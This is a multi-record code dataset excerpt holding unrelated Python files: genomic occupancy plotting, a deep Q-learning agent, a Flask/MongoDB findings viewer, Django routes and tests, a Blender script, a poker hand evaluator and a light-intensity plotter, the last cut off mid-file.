offset)\n # plot RoboCOP output\n visualization.plot_occupancy_profile(ax[2 + isgtf], op = optable, chromo = chrm, coordinate_start = start, threshold = 0.1, dbf_color_map = dbf_color_map)\n ax[0 + isgtf].set_xlim((start, end))\n ax[1 + isgtf].set_xlim((start, end))\n ax[2 + isgtf].set_xlim((start, end))\n ax[0 + isgtf].set_xticks([])\n ax[1 + isgtf].set_xticks([])\n ax[2 + isgtf].set_xlabel(chrm)\n\n if isgtf: plotRegion(gtffile, chrm, start, end, ax[0])\n\n if save:\n os.makedirs(outDir + 'figures/', exist_ok = True)\n plt.savefig(outDir + \"figures/robocop_output_\" + chrm + \"_\" + str(start) + \"_\" + str(end) + \".png\")\n print(\"Output saved:\", outDir + \"figures/robocop_output_\" + chrm + \"_\" + str(start) + \"_\" + str(end) + \".png\")\n else:\n plt.show()\n\ndef plot_output(outDir, chrm, start, end, save = True):\n outDir = outDir + '/' if outDir[-1] != '/' else outDir\n\n configFile = outDir + \"/config.ini\"\n config = configparser.SafeConfigParser()\n config.read(configFile)\n \n # hmmconfigfile is generated only with robocop_em.py\n # if outputDir is generated using robocop_no_em.py\n # then use the dir path used to run robocop_no_em.py\n # to get the hmmconfig file\n \n hmmconfigfile = config.get(\"main\", \"trainDir\") + \"/HMMconfig.pkl\"\n\n tech = config.get(\"main\", \"tech\")\n\n gtfFile = config.get(\"main\", \"gtfFile\")\n # create file for plotting\n dshared = pickle.load(open(hmmconfigfile, \"rb\"))\n\n coords = pd.read_csv(outDir + \"coords.tsv\", sep = \"\\t\")\n allinfofiles = glob.glob(outDir + 'tmpDir/info*.h5')\n\n optable, longCounts, shortCounts = calc_posterior(allinfofiles, dshared, coords, chrm, start, end)\n dbf_color_map = colorMap(outDir) # pickle.load(open(\"dbf_color_map.pkl\", \"rb\"))\n plotOutput(outDir, config, dbf_color_map, optable, chrm, start, end, tech, longCounts, shortCounts, save, gtffile = gtfFile)\n \nif __name__ == '__main__':\n\n if len(sys.argv) != 5:\n print(\"Usage: python plotRoboCOP.py outDir chr start end\")\n exit(0)\n\n outDir = (sys.argv)[1]\n chrm = (sys.argv)[2]\n start = int((sys.argv)[3])\n end = int((sys.argv)[4])\n plot_output(outDir, chrm, start, end)\n","sub_path":"pkg/robocop/utils/plotRoboCOP.py","file_name":"plotRoboCOP.py","file_ext":"py","file_size_in_byte":8626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"15101760","text":"'''\nCreated on Dec 1, 2016\n@author: Lingjie Kong, Stanley Jacobs\n'''\nimport gym\nimport logging\nimport numpy as np\nimport math, time\nimport tensorflow as tf\nimport pickle\nfrom gym import spaces\nimport os.path\n\n\n##########################################################################\n## Multilayer perceptron algorithm implementation\n## Uses tensor flow \ndef mlp(inputLayer, n_hidden, regParam):\n tf.set_random_seed(1)\n totalLayers = len(n_hidden)\n currentLayer = inputLayer\n regulTerm = 0.\n for i in range(1, totalLayers - 1):\n weights = tf.Variable(\n tf.truncated_normal( \\\n [n_hidden[i - 1], n_hidden[i]], \\\n stddev=1. / math.sqrt(float(n_hidden[i - 1]))))\n biases = tf.Variable(tf.zeros([n_hidden[i]]))\n nextLayer = tf.nn.tanh(tf.add(tf.matmul(currentLayer, weights), biases))\n currentLayer = nextLayer\n regulTerm += tf.nn.l2_loss(weights) * regParam[i - 1]\n \n weights = tf.Variable(tf.truncated_normal([n_hidden[totalLayers - 2], \\\n n_hidden[totalLayers - 1]], \\\n stddev=1. / math.sqrt(float(n_hidden[totalLayers - 2]))))\n\n biases = tf.Variable(tf.zeros([n_hidden[totalLayers - 1]]))\n\n outputLayer = tf.matmul(currentLayer, weights) + biases\n \n regulTerm += tf.nn.l2_loss(weights) * regParam[totalLayers - 2]\n\n return outputLayer, regulTerm\n\n\n\nclass deepQAgent(object):\n def __del__(self):\n self.close()\n\n def __init__(self, observation_space, action_space, reward_range):\n self.observation_space = observation_space\n self.action_space = action_space\n self.reward_range = reward_range\n \n self.discountRate = 0.99\n\n self.startLearnRate = 0.008\n self.learnDecay = 0.999\n\n self.epsilonProb = 0.15\n self.epsilonDecay = 0.996\n\n self.lambdaProb = 0.1\n self.updateProb = 0.25\n\n self.batchSize = 75\n self.memSize = 50000\n\n self.hiddenNum = 300\n self.regulParam = [0.0001, 0.000001]\n\n np.random.seed(1)\n\n self.global_step = tf.Variable(0, trainable=False)\n self.learnrate = tf.train.exponential_decay(self.startLearnRate, self.global_step, 100,\n self.learnDecay, staircase=True)\n \n self.initQnetwork()\n\n def scaleobs(self, obs):\n if np.isinf(self.observation_space.low).any() or np.isinf(self.observation_space.high).any():\n return obs\n else:\n o = (obs - self.observation_space.low) / (\n self.observation_space.high - self.observation_space.low) * 2. - 1.\n return o * 3\n\n def epsilon(self, episode=None):\n if episode == None:\n return 0.\n else:\n return self.epsilonProb * self.epsilonDecay ** episode\n\n def initQnetwork(self):\n n_input = self.observation_space.shape[0]\n self.n_out = self.action_space.n\n\n self.x = tf.placeholder(\"float\", [None, n_input])\n self.y = tf.placeholder(\"float\", [None, 1])\n \n self.Q, regTerm = mlp(self.x, [n_input] + [self.hiddenNum] + [self.n_out],\n self.regulParam)\n\n self.currentAction = tf.placeholder(\"float\", [None, self.n_out])\n \n self.singleQ = tf.reduce_sum(self.currentAction * self.Q,\n reduction_indices=1) \n self.singleQ = tf.reshape(self.singleQ, [-1, 1])\n\n self.lossFull = (self.singleQ - self.y) ** 2\n\n self.cost = tf.reduce_mean(self.lossFull) + regTerm\n \n self.optimizer = tf.train.RMSPropOptimizer(self.learnrate, 0.9, 0.1).minimize(self.cost, \\\n global_step=self.global_step)\n self.sess = tf.Session()\n self.pastActions = []\n self.sess.run(tf.global_variables_initializer())\n self.sess.run(tf.assign(self.global_step, 0))\n\n def updateMemory(self, index):\n state, action, reward, onew, d, Q, nextstate = self.pastActions[index]\n\n if Q != None:\n alternativetarget = Q\n else:\n if self.lambdaProb > 0.:\n limitd = 1000\n alternativetarget = reward\n gamma = self.discountRate\n offset = 0\n if nextstate == None:\n alternativetarget += gamma * self.maxq(onew) * d\n \n while nextstate != None and offset < limitd:\n offset += nextstate\n n = index + offset\n\n alternativetarget += gamma * self.pastActions[n][2]\n gamma = gamma * self.discountRate\n if self.pastActions[n][6] == None or not (offset < limitd):\n alternativetarget += gamma * self.maxq(self.pastActions[n][3]) * self.pastActions[n][4]\n nextstate = self.pastActions[n][6]\n else:\n alternativetarget = 0.\n self.pastActions[index][5] = alternativetarget\n \n alternativetarget = alternativetarget * self.lambdaProb + (reward + self.discountRate \\\n * self.maxq(onew) * d) * (1. - self.lambdaProb)\n\n return alternativetarget, state, action\n\n def learn(self, state, action, obnew, reward, notdone, nextaction):\n target = reward + self.discountRate * self.maxq(obnew) * notdone\n \n target = target.reshape(1, )\n allstate = state.reshape(1, -1)\n allaction = np.array([action])\n alltarget = target\n \n update = (np.random.random() < self.updateProb)\n if update:\n if len(self.pastActions) > self.batchSize:\n ind = np.random.choice(len(self.pastActions), self.batchSize) \n for j in ind:\n alternativetarget, someState, someAction = self.updateMemory(j)\n alltarget = np.concatenate((alltarget, alternativetarget), 0) \n allstate = np.concatenate((allstate, someState.reshape(1, -1)), 0)\n allaction = np.concatenate((allaction, np.array([someAction])), 0)\n \n allactionsparse = np.zeros((allstate.shape[0], self.n_out))\n allactionsparse[np.arange(allaction.shape[0]), allaction] = 1.\n\n self.sess.run(self.optimizer, feed_dict={self.x: allstate, self.y: alltarget.reshape((-1, 1)),\n self.currentAction: allactionsparse})\n\n allactionsparse = np.zeros((allstate.shape[0], self.n_out))\n allactionsparse[np.arange(allaction.shape[0]), allaction] = 1.\n \n self.sess.run(self.lossFull, feed_dict={self.x: allstate, self.y: alltarget.reshape((-1, 1)),\n self.currentAction: allactionsparse})\n \n if len(self.pastActions) > 0 and np.array_equal(self.pastActions[-1][3], state):\n self.pastActions[-1][6] = 1\n self.pastActions.append([state, action, reward, obnew, notdone, None, None])\n \n self.pastActions = self.pastActions[-self.memSize:]\n return 0\n\n def maxq(self, observation):\n if observation.ndim == 1:\n observation = observation.reshape(1, -1)\n return np.max(self.sess.run(self.Q, feed_dict={self.x: observation})).reshape(1, )\n\n def argmaxq(self, observation):\n if observation.ndim == 1:\n observation = observation.reshape(1, -1)\n return np.argmax(self.sess.run(self.Q, feed_dict={self.x: observation}))\n\n def controlsCalc(self, environ, state):\n\n # possible actions\n g_noEngineFired = 0\n g_leftEngineFired = 1\n g_bottomEngineFired = 2\n g_rightEngineFired = 3\n\n horPosWeight = 0.5\n horSpeedWeight = 1.\n angleThresh = 0.4\n targetVertWeight = 0.2\n angleMax = 0.05\n vertMax = 0.05\n newVertWeight = 0.5\n newAngleWeight = 0.5\n newAngularSpeedWeight = 1.\n\n # angle should be limited by horizontal speed and position\n targetAngle = state[0]*horPosWeight + state[2]*horSpeedWeight\n if targetAngle > angleThresh: \n targetAngle = angleThresh\n if targetAngle < -angleThresh: \n targetAngle = -angleThresh\n\n targetVertPos = np.abs(state[1])*targetVertWeight\n\n newAngle = (targetAngle - state[4])*newAngleWeight - (state[5])*newAngularSpeedWeight\n newVert = (targetVertPos - state[1])*newVertWeight - (state[3])*newVertWeight\n\n if state[6] or state[7]:\n newAngle = 0\n newVert = -(state[3])*newVertWeight\n\n action = g_noEngineFired\n if newAngle > angleMax: \n action = g_leftEngineFired\n elif newVert > np.abs(newAngle) and newVert > vertMax: \n action = g_bottomEngineFired\n elif newAngle < -angleMax: \n action = g_rightEngineFired\n\n return action\n\n def act(self, env, observation, episode=None):\n \n if episode != None:\n if episode < 50:\n action = self.controlsCalc(env, observation)\n return action\n\n eps = self.epsilon(episode)\n\n # epsilon greedy.\n if np.random.random() > eps:\n action = self.argmaxq(observation)\n else:\n action = self.action_space.sample()\n return action\n\n def close(self):\n self.sess.close()\n","sub_path":"Project/Code/agents.py","file_name":"agents.py","file_ext":"py","file_size_in_byte":9530,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"406878464","text":"from flask import Flask, render_template, request\nfrom pymongo import MongoClient\nimport argparse\nimport os\nimport sys\nimport requests\nimport string \nimport json\nimport re\nfrom os import listdir\nfrom os.path import isfile, join\nfrom bson import Binary, Code\nfrom bson.json_util import dumps\n\n\ndira = \"\"\nmongo = \"\"\ndb = \"\"\njson_l = []\n\napp = Flask(__name__)\n\n@app.route(\"/\")\n\ndef main():\n\tprint('mongodb://'+mongo+':27017/gumbler')\n\treturn render_template('index.html')\n\n# move to library\ndef is_ascii(s):\n return all(ord(c) < 128 for c in s)\n\ndef projects():\n\tprojects = db.findings.distinct(\"project\")\n\treturn render_template('project.html',projects=projects)\n\ndef project():\n\tproj = request.args.get(\"project\")\n\t# do we need sanitization considerations?\n\tprojects = db.findings.find({\"project\":proj})\n\n\t# this should be refactored \n\tp = []\n\tfor project in projects:\n\t\tif project[\"results\"] == \"NOT DOWNLOADED\":\n\t\t\t\tproject[\"not_downloaded\"] = True\n\t\tif is_ascii(project[\"results\"]):\n\t\t\tproject[\"is_ascii\"] = True\n\t\t\tproject[\"results\"] = project[\"results\"].replace(\"<\",\"<\").replace(\">\",\">\")\n\t\tp.append(project)\n\treturn render_template('display.html',projects=p)\n\n\ndef files():\n\tfile = request.args.get(\"file\")\n\tprojects = db.findings.find({\"file\":file})\n\n\t# this should be refactored \n\tp = []\n\tfor project in projects:\n\t\tif project[\"results\"] == \"NOT DOWNLOADED\":\n\t\t\tproject[\"not_downloaded\"] = True\n\t\tif is_ascii(project[\"results\"]):\n\t\t\tproject[\"is_ascii\"] = True\n\t\t\tproject[\"results\"] = project[\"results\"].replace(\"<\",\"<\").replace(\">\",\">\")\n\t\t\tp.append(project)\n\treturn render_template('file_list.html',projects=p)\n\ndef check():\n\ttxt_checks = db.checks.find()\n\treturn render_template('checks.html', txt_checks=txt_checks)\n\n# run a list of regexes across all loaded projects\ndef run_regex(regexes,matching_only):\n\tresults = []\n\n\tfor regex in regexes:\n\t\treg = re.compile(regex)\n\t\tfindings = db.findings.find({\"results\":reg})\n\t\tfor finding in findings:\n\t\t\tif not (\"Error pulling file\" in finding[\"results\"]):\n\t\t\t\tif finding[\"results\"] == \"NOT DOWNLOADED\":\n\t\t\t\t\tfinding[\"not_downloaded\"] = True\n\t\t\t\tif is_ascii(finding[\"results\"]):\n\t\t\t\t\tfinding[\"is_ascii\"] = True\n\t\t\t\t\tfinding[\"results\"] = finding[\"results\"].replace(\"<\",\"<\").replace(\">\",\">\")\n\n\t\t\t\tif matching_only:\n\t\t\t\t\t# show only the matching text\n\t\t\t\t\tmatch = reg.search(finding[\"results\"])\n\t\t\t\t\tfinding[\"match\"] = finding.group(0)\n\t\t\t\telse:\n\t\t\t\t\tfinding[\"match\"] = finding[\"results\"]\n\n\t\t\t\tfinding[\"regex\"] = regex\n\t\t\t\tresults.append(finding)\n\treturn results\n\n# run the check provided\ndef run_check():\n\tcheck = request.args.get(\"check\")\n\tmatching_only = request.args.get(\"matching_only\")\n\n\tresults = []\n\n\ttxt_check = mongo.db.checks.find_one({\"name\":check})\n\tregexes = txt_check[\"check_regex\"]\n\n\tresults = run_regex(regexes,matching_only)\n\tprint(\"|+| Hits found:\"+str(len(results)))\n\treturn render_template('check_results.html', results=results)\n\n# list all projects from json e.g. /list\napp.add_url_rule('/list', 'index', projects)\n\n# list all files matching name e.g. /files?file=gemfile\napp.add_url_rule('/files', 'files', files)\n\n# display a project /project?project=x\napp.add_url_rule('/project', 'project', project)\n\n# index\napp.add_url_rule('/index', 'main', main)\n\n# checks\napp.add_url_rule('/check', 'check', check)\n\n# checks\napp.add_url_rule('/run_check', 'run_check', run_check)\n\nif __name__ == \"__main__\":\n\tapp.run(debug=True)\n","sub_path":"webserver/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":3412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"296531289","text":"def num_of_fours(nums):\n count = 0\n for num in nums:\n if num == 4:\n count = count + 1\n return count\n\nnumbers = [int(n) for n in input('gime ur list :').split(',')]\n\nprint(num_of_fours(numbers))\n","sub_path":"practice22.py","file_name":"practice22.py","file_ext":"py","file_size_in_byte":221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"97650881","text":"from django.urls import path, include\nfrom . import views\nfrom django.conf.urls import url\n\napp_name = \"front\"\n\nurlpatterns = [\n path('', views.index, name=\"index\"),\n path('search/', views.search, name=\"search\"),\n path('doctor//', views.doctor, name='doctor'),\n path('disease//', views.disease, name='disease'),\n path('doctor/book/', views.booking, name='booking'),\n path('doctor/lists/', views.list, name='list'),\n path('news//', views.news, name='news'),\n path('events//', views.events, name='events'),\n path('doctor/book/confirm', views.bookingConfirm, name=\"bookingConfirm\"),\n path('doctor/recomment/', views.recommend, name=\"recommend\"),\n path(\"doctor//review\",views.review, name=\"review\"),\n path(\"news-and-events/\", views.blogs, name=\"blogs\"),\n path(\"news/\", views.all_news, name=\"all_news\"),\n path(\"events/\", views.all_events, name=\"all_events\"),\n path(\"about-us/\", views.about, name=\"about\")\n]","sub_path":"backend/hospital/front/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":994,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"562373689","text":"from django.test import TestCase\nfrom django.shortcuts import resolve_url as r\nfrom eventex.core.models import Speaker\n\n\nclass SpeakerDetailGet(TestCase):\n\n def setUp(self):\n Speaker.objects.create(\n name='Grace Hopper',\n slug='grace-hopper',\n website='http://hbn.link/hopper-site',\n photo='http://hbn.link/hopper-pic',\n description='Programadora e almirante.')\n self.resp = self.client.get(r('speaker_detail', slug='grace-hopper'))\n\n def test_get(self):\n ''' GET shuld return status 200 '''\n self.assertEqual(200, self.resp.status_code)\n\n def test_template(self):\n self.assertTemplateUsed(self.resp, 'core/speaker_detail.html')\n\n def test_html(self):\n contents = [\n 'Grace Hopper',\n 'Programadora e almirante',\n 'http://hbn.link/hopper-pic',\n 'http://hbn.link/hopper-site',\n ]\n\n for expected in contents:\n with self.subTest():\n self.assertContains(self.resp, expected)\n\n def test_context(self):\n ''' Speaker must be in context '''\n speaker = self.resp.context['speaker']\n self.assertIsInstance(speaker, Speaker)\n\n\nclass SpeakerDetailNotFound(TestCase):\n\n def test_not_found(self):\n response = self.client.get(r('speaker_detail', slug='not-found'))\n self.assertEqual(404, response.status_code)\n","sub_path":"eventex/core/tests/test_view_speaker_detail.py","file_name":"test_view_speaker_detail.py","file_ext":"py","file_size_in_byte":1428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"630915354","text":"import bpy\n\ndef curveToMesh():\n print(\"Converting curves to mesh\")\n for ob in bpy.data.objects:\n if ob.type == \"CURVE\":\n bpy.ops.object.select_all(action='DESELECT')\n print(\"Object: %s\" % ob.name)\n ob.select = True\n bpy.context.scene.objects.active = ob\n try:\n bpy.ops.object.convert(target=\"MESH\", keep_original=True)\n print(\" Converted to mesh\")\n except Exception as e:\n print(\" Error: %s\" % str(e))\n print(\"Done\")\n\ncurveToMesh()\n","sub_path":"source/svg_to_mesh.py","file_name":"svg_to_mesh.py","file_ext":"py","file_size_in_byte":561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"451811159","text":"#\n#\t\tPython GUI - Radio buttons - Generic\n#\n\nfrom GUI.Properties import overridable_property\nfrom GUI import Control\n\nclass RadioButton(Control):\n\t\"\"\"RadioButtons are used in groups to represent a 1-of-N\n\tchoice. A group of RadioButtons is coordinated by a\n\tRadioGroup object. The 'group' property indicates the\n\tRadioGroup to which it belongs, and the 'value' property\n\tis the value to which the RadioGroup's value is set\n\twhen this RadioButton is selected.\"\"\"\n\t\n\tgroup = overridable_property('group', \"\"\"The RadioGroup to\n\t\t\t\twhich this radio button belongs.\"\"\")\n\n\tvalue = overridable_property('value', \"\"\"The value to which\n\t\t\t\tthe associated radio group's 'value' property should be\n\t\t\t\tset when this radio button is selected.\"\"\")\n\n\t_group = None\n\t_value = None\n\n\t#\n\t#\t\tProperties\n\t#\n\n\tdef get_group(self):\n\t\treturn self._group\n\n\tdef set_group(self, new_group):\n\t\told_group = self._group\n\t\tif new_group is not old_group:\n\t\t\tif old_group:\n\t\t\t\told_group._remove_item(self)\n\t\t\tself._group = new_group\n\t\t\tif new_group:\n\t\t\t\tnew_group._add_item(self)\n\n\tdef get_value(self):\n\t\treturn self._value\n\n\tdef set_value(self, new_value):\n\t\told_value = self._value\n\t\tif new_value != old_value:\n\t\t\tself._value = new_value\n\t\t\tself._value_changed()\n\t\n\tdef _value_changed(self):\n\t\traise NotImplementedError\n","sub_path":"GUI/Generic/GRadioButtons.py","file_name":"GRadioButtons.py","file_ext":"py","file_size_in_byte":1291,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"549254981","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Oct 15 13:26:59 2015\n\n@author: jack.gang\n\"\"\"\n\nimport time \nimport pandas as pd\nfrom enum import Enum\n\nstart = time.clock()\n\n# returns a boolean\ndef hasRoyalFlush(cards):\n if hasStraightFlush(cards) and (max([i[0] for i in cards]) == 14):\n return True\n else:\n return False\n\n# returns highest card of straight flush\ndef hasStraightFlush(cards):\n if hasFlush(cards) and hasStraight(cards):\n return max([i[0] for i in cards])\n else:\n return False\n \n# returns list in form of [card, kicker]\ndef hasFourOfAKind(cards):\n cardValues = pd.Series([i[0] for i in cards])\n counts = cardValues.value_counts()\n if counts[counts == 4].empty:\n return False\n else:\n return [counts[counts==4].index[0], counts[counts!=4].index[0]]\n\n# returns list in form of [triple card, double card]\ndef hasFullHouse(cards):\n cardValues = pd.Series([i[0] for i in cards])\n counts = cardValues.value_counts()\n if counts[counts == 3].empty:\n return False\n elif counts[counts == 2].empty:\n return False\n else:\n return [counts[counts==3].index[0], counts[counts==2].index[0]]\n \n# returns list of cards in descending order\ndef hasFlush(cards):\n cardSuits = pd.Series([i[1] for i in cards])\n counts = cardSuits.value_counts()\n if counts[counts == 5].empty:\n return False\n else:\n return sorted(pd.Series([i[0] for i in cards]), reverse=True)\n \n# returns highest card of straight\ndef hasStraight(cards):\n cardValues = sorted([i[0] for i in cards])\n for i in range(1, 5):\n if (int(cardValues[i]) - int(cardValues[i-1])) != 1:\n if (cardValues[i] == 14) and (int(cardValues[i]) - int(cardValues[i-1])) != 9:\n return False\n if cardValues[i] != 14:\n return False \n if (int(cardValues[i]) - int(cardValues[i-1])) == 1:\n return cardValues[4]\n else:\n return cardValues[3] \n \n# returns list in form of [card, kicker 1, kicker 2]\ndef hasThreeOfAKind(cards):\n cardValues = pd.Series([i[0] for i in cards])\n counts = cardValues.value_counts()\n if counts[counts == 3].empty:\n return False\n else:\n return [counts[counts==3].index[0], sorted(counts[counts!=3].index, reverse=True)[0], sorted(counts[counts!=3].index, reverse=True)[1]]\n \n# returns list in form of [high card, low card, kicker]\ndef hasTwoPairs(cards):\n cardValues = pd.Series([i[0] for i in cards])\n counts = cardValues.value_counts()\n if counts[counts == 2].empty or len(counts[counts == 2]) < 2:\n return False\n else:\n cardOne = counts[counts==2].index[0]\n cardTwo = counts[counts==2].index[1]\n if cardOne > cardTwo:\n return [cardOne, cardTwo, counts[counts!=2].index[0]]\n else:\n return [cardTwo, cardOne, counts[counts!=2].index[0]]\n \n# returns list in form of [card, kicker 1, kicker 2, kicker 3]\ndef hasOnePair(cards):\n cardValues = pd.Series([i[0] for i in cards])\n counts = cardValues.value_counts()\n if len(counts[counts == 2]) != 1:\n return False\n else:\n return [counts[counts==2].index[0], sorted(counts[counts!=2].index, reverse=True)[0], sorted(counts[counts!=2].index, reverse=True)[1], sorted(counts[counts!=2].index, reverse=True)[2]]\n \n# enum for hand ranks\nclass handRank(Enum):\n HIGH_CARD = 1\n ONE_PAIR = 2\n TWO_PAIRS = 3\n THREE_OF_A_KIND = 4\n STRAIGHT = 5\n FLUSH = 6\n FULL_HOUSE = 7\n FOUR_OF_A_KIND = 8\n STRAIGHT_FLUSH = 9\n ROYAL_FLUSH = 10\n \n# compares two hands and returns True if player 1 wins\ndef compareHands(cardsOne, cardsTwo): \n oneRank = assignRank(cardsOne)\n twoRank = assignRank(cardsTwo)\n# print(oneRank, twoRank)\n if oneRank.value > twoRank.value:\n return True\n elif oneRank.value < twoRank.value:\n return False\n else:\n if oneRank == handRank.ROYAL_FLUSH:\n return True\n elif oneRank == handRank.STRAIGHT_FLUSH:\n return hasStraightFlush(cardsOne) >= hasStraightFlush(cardsTwo)\n elif oneRank == handRank.FOUR_OF_A_KIND:\n if hasFourOfAKind(cardsOne)[0] > hasFourOfAKind(cardsTwo)[0]:\n return True\n elif hasFourOfAKind(cardsOne)[0] == hasFourOfAKind(cardsTwo)[0]:\n return hasFourOfAKind(cardsOne)[1] >= hasFourOfAKind(cardsTwo)[1]\n else:\n return False\n elif oneRank == handRank.FULL_HOUSE:\n if hasFullHouse(cardsOne)[0] > hasFullHouse(cardsTwo)[0]:\n return True\n elif hasFullHouse(cardsOne)[0] == hasFullHouse(cardsTwo)[0]:\n return hasFullHouse(cardsOne)[1] >= hasFullHouse(cardsTwo)[1]\n else:\n return False\n elif oneRank == handRank.FLUSH:\n for i in range(0, len(hasFlush(cardsOne))):\n if hasFlush(cardsOne)[i] > hasFlush(cardsTwo)[i]:\n return True\n elif hasFlush(cardsOne)[i] < hasFlush(cardsTwo)[i]:\n return False\n return True\n elif oneRank == handRank.STRAIGHT:\n return hasStraight(cardsOne) >= hasStraight(cardsTwo)\n elif oneRank == handRank.THREE_OF_A_KIND:\n for i in range(0, len(hasThreeOfAKind(cardsOne))):\n if hasThreeOfAKind(cardsOne)[i] > hasThreeOfAKind(cardsTwo)[i]:\n return True\n elif hasThreeOfAKind(cardsOne)[i] < hasThreeOfAKind(cardsTwo)[i]:\n return False\n return True\n elif oneRank == handRank.TWO_PAIRS:\n for i in range(0, len(hasTwoPairs(cardsOne))):\n if hasTwoPairs(cardsOne)[i] > hasTwoPairs(cardsTwo)[i]:\n return True\n elif hasTwoPairs(cardsOne)[i] < hasTwoPairs(cardsTwo)[i]:\n return False\n return True\n elif oneRank == handRank.ONE_PAIR:\n for i in range(0, len(hasOnePair(cardsOne))):\n if hasOnePair(cardsOne)[i] > hasOnePair(cardsTwo)[i]:\n return True\n elif hasOnePair(cardsOne)[i] < hasOnePair(cardsTwo)[i]:\n return False\n return True\n else:\n cardsOne = sorted(cardsOne, reverse=True)\n cardsTwo = sorted(cardsTwo, reverse=True)\n for i in range(0, len(cardsOne)):\n if cardsOne[i] > cardsTwo[i]:\n return True\n elif cardsOne[i] < cardsTwo[i]:\n return False\n return True\n\n# assign a handRank to a set of cards\ndef assignRank(cards):\n cardRank = 0\n if hasRoyalFlush(cards):\n cardRank = handRank.ROYAL_FLUSH\n elif hasStraightFlush(cards):\n cardRank = handRank.STRAIGHT_FLUSH\n elif hasFourOfAKind(cards):\n cardRank = handRank.FOUR_OF_A_KIND\n elif hasFullHouse(cards):\n cardRank = handRank.FULL_HOUSE\n elif hasFlush(cards):\n cardRank = handRank.FLUSH\n elif hasStraight(cards):\n cardRank = handRank.STRAIGHT\n elif hasThreeOfAKind(cards):\n cardRank = handRank.THREE_OF_A_KIND\n elif hasTwoPairs(cards):\n cardRank = handRank.TWO_PAIRS\n elif hasOnePair(cards):\n cardRank = handRank.ONE_PAIR\n else:\n cardRank = handRank.HIGH_CARD\n \n return cardRank\n \n# converts cards to numerical format\ndef convertCards(cards):\n newCards = []\n for card in cards:\n if card[0] == 'T':\n value = 10\n elif card[0] == 'J':\n value = 11\n elif card[0] == 'Q':\n value = 12\n elif card[0] == 'K':\n value = 13\n elif card[0] == 'A':\n value = 14\n else:\n value = int(card[0])\n suit = card[1]\n newCards.append((value, suit))\n return newCards\n\n# MAIN\n\nanswer = 0\nf = open('p054_poker.txt', 'r')\nfor line in f:\n cardsOne = line.split()[:5]\n cardsOneNew = convertCards(cardsOne)\n \n cardsTwo = line.split()[5:]\n cardsTwoNew = convertCards(cardsTwo)\n \n if compareHands(cardsOneNew, cardsTwoNew):\n# print(cardsOneNew, cardsTwoNew)\n answer += 1 \nf.close()\n \nelapsed = time.clock() - start\n\nprint(\"{} found in {} seconds\".format(answer,elapsed))\n","sub_path":"054 - Poker hands.py","file_name":"054 - Poker hands.py","file_ext":"py","file_size_in_byte":8365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"254775142","text":"import math\r\nfrom matplotlib import pyplot as pl\r\nfrom mpl_toolkits.mplot3d import Axes3D as ax\r\nimport numpy as np\r\nfrom matplotlib import cm\r\nfrom copy import deepcopy\r\n\r\ndef Calculate(r, dr, h, F):\r\n dS = math.pi * (2 * dr * r + dr ** 2)\r\n dF = h * (1 / math.hypot(h, r) - 1 / math.hypot(h, r + dr)) / 2 \r\n return F * dF / dS\r\n \r\nclass light_1d:\r\n def __init__(self, Radius=10, Flux=9000, Step=0.1, Height=2):\r\n self.dr = Step\r\n self.R = Radius\r\n self.F = Flux\r\n self.h = Height\r\n self.plot()\r\n \r\n def plot(self):\r\n X = np.linspace(0, self.R)\r\n Y = []\r\n for i in range(len(X)):\r\n Y.append(Calculate(X[i], self.dr, self.h, self.F))\r\n pl.plot(X, Y, \"k\")\r\n pl.xlabel(\"Distance ($m$)\")\r\n pl.ylabel(\"Illuminance ($Lx$)\")\r\n pl.show()\r\n\r\n\r\nclass light_3d:\r\n def __init__(self, step=0.1, Parameter=9000, Height=2, Length=10):\r\n self.dr = step\r\n self.h = Height\r\n self.steps = int(Length / step / 2)\r\n self.C = Parameter \r\n self.x = [[0 for i in range(self.steps)] for j in range(self.steps)]\r\n self.y = deepcopy(self.x)\r\n self.I = deepcopy(self.x) \r\n self.comput()\r\n self.plot()\r\n \r\n def comput(self):\r\n for i in range(self.steps):\r\n for j in range(self.steps):\r\n self.x[i][j] = i * self.dr\r\n self.y[i][j] = j * self.dr \r\n for i in range(self.steps):\r\n for j in range(i):\r\n self.d = math.hypot(self.x[i][j], self.y[i][j])\r\n self.I[i][j] = Calculate(self.d, self.dr, self.h, self.C)\r\n \r\n def plot(self):\r\n for i in range(self.steps):\r\n for j in range(i):\r\n self.I[j][i] = self.I[i][j]\r\n self.I[i][i] = Calculate(math.hypot(self.x[i][i], self.y[i][i]), self.dr, self.h, self.C) \r\n ps = self.steps * 2 - 1\r\n self.X = [[0 for i in range(ps)] for j in range(ps)]\r\n self.Y = deepcopy(self.X)\r\n self.E = deepcopy(self.X)\r\n for i in range(ps):\r\n for j in range(ps):\r\n self.X[i][j] = i * self.dr\r\n self.Y[i][j] = j * self.dr\r\n for i in range(ps):\r\n for j in range(ps):\r\n if (i < (ps // 2)):\r\n if(j < (ps // 2)):\r\n self.E[i][j] = self.I[ps // 2 - i][ps // 2 - j]\r\n else:\r\n self.E[i][j] = self.I[ps // 2 - i][j - ps // 2]\r\n else:\r\n if(j < (ps / 2)):\r\n self.E[i][j] = self.I[i - ps // 2][ps // 2 - j]\r\n else:\r\n self.E[i][j] = self.I[i - ps // 2][j - ps // 2] \r\n fig = pl.figure()\r\n ax = fig.gca(projection=\"3d\")\r\n surf = ax.plot_surface(self.X, self.Y, self.E, rstride=3, cstride=3, cmap=cm.coolwarm, linewidth=0.2)\r\n pl.show()\r\n\r\n\r\n \r\nclass search:\r\n def __init__(self, step=0.005, Parameter=900, Height=2, Length=10):\r\n self.dr = step\r\n self.h = Height\r\n self.steps = int(Length / step / 2)\r\n self.C = Parameter \r\n self.x = 